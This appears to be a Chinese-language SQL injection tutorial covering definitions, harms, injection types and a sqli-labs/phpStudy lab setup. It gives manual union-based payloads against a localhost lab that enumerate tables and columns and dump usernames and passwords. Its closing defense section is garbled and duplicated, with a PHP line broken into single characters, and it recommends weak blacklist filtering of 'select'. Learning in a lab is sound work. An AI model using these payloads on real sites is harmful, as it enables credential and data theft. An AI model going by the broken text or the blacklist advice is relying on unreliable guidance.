SQL注入定义
SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句
SQL注入原理
注入的本质:将用户输入的数据拼接到原始代码中,从而使得被注入的数据被当做代码执行。
SQL注入原理:服务器端未严格校验客户端发送的数据,而导致服务器端SQL语句被恶意修改并成功执行的行为
sql注入的核心:将用户的输入拼接到代码中,并被当做sql语句执行
两个关机条件:
1、用户可以控制传参
2、原本程序要执行的代码,拼接进了用户输入的数据并且成功执行。
SQL注入可能出现的位置
核心:与数据库产生交互的地方,就有可能存在注入。
sql注入的危害
危害包括但不局限于:
1.数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
2.网页篡改:通过操作数据库对特定网页进行篡改。
3.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
4.数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
5.服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
6.破坏硬盘数据,瘫痪全系统。
一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。
SQL注入分类
按照数据类型
数字型注入
字符型注入
按照HTTP请求方法
•GET型注入
•POST型注入
按照注入方式
•联合注入
•报错注入
•布尔盲注
•时间盲注
•宽字节注入
•Cookie注入
靶场搭建
PHP study
让天下没有难配的服务器环境
快速搭建网站
支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,JAVA等100多项服务器管理功能
Windows版本下载地址:https://www.xp.cn/download.html
sqli-labs
•SQLi-Labs是一个专业的SQL注入练习平台,适用于GET和POST场景
修改sql-connections文件夹下面的db-creds.inc文件
下载地址:https://github.com/Audi-1/sqli-labs
安装教程:https://blog.csdn.net/qq_43036356/article/details/130836422
手工注入流程
##数字型注入:
探测漏洞是否存在 and 1=1 and 1=2 或者 ' 或者 \
判断字段数 http://127.0.0.1/sqli/Less-2/?id=1 order by 4
?id=1' order by 6
联合查询得到输出点 http://127.0.0.1/sqli/Less-2/?id=9999 union select 1,2,3
查询数据库版本 http://127.0.0.1/sqli/Less-2/?id=9999 union select 1,2,version()
查询表名
http://127.0.0.1/sqli/Less-2/?id=9999 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查询users表的字段名
http://127.0.0.1/sqli/Less-2/?id=9999 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
查询username,password 字段数据
http://127.0.0.1/sqli/Less-2/?id=9999 union select 1,group_concat(username),group_concat(password) from users
字符型注入
探测漏洞是否存在 ' -- asd
判断字段数 ' order by 4 -- asd
联合查询得到输出点 http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,3 -- asd
查询数据库版本 http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,version() -- asd
查询表名
http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- asd
查询users表的字段名
http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- asd
查询username,password 字段数据
http://127.0.0.1/sqli/Less-1/?id=999' union select 1,group_concat(username),group_concat(password) from users -- asd
手工注入基本流程
order by(排序,用来判断字段数)
union select (联合查询,用来查询自己想要得到的数据)
database()(可以用来查询数据库)
limit 0,1(限制输出,0表示下标,1表示数量)
information_schema(mysql数据库5.0及以上版本,自带数据库,他记录了mysql数据库下所有的数据库名,表名,列名信息)
information_schema.tables(记录表名信息的表)
information_schema.columns(记录列名信息的表)
table_name (表名)
column_name (列名)and 1=2 union select 1,2
table_schema (数据库名)
联合注入流程
SQL注入的防御
过滤的对象
用户的输入
提交的URL请求中的参数部分
从cookie中得到的数据
部署防SQL注入系统或脚本
过滤特殊字符:
单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,如图PHP中利用
str_replace方法把特殊字符替换成空格,
比如
a
=
s
t
r
r
e
p
l
a
c
e
(
"
s
e
l
e
c
t
"
,
"
"
,
a = str_replace("select","",
a=strreplace("select","",a);
过滤的对象**
用户的输入
提交的URL请求中的参数部分
从cookie中得到的数据
部署防SQL注入系统或脚本
过滤特殊字符:
单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,如图PHP中利用
str_replace方法把特殊字符替换成空格,
比如 a = s t r r e p l a c e ( " s e l e c t " , " " , a = str_replace("select","", a=strreplace("select","",a);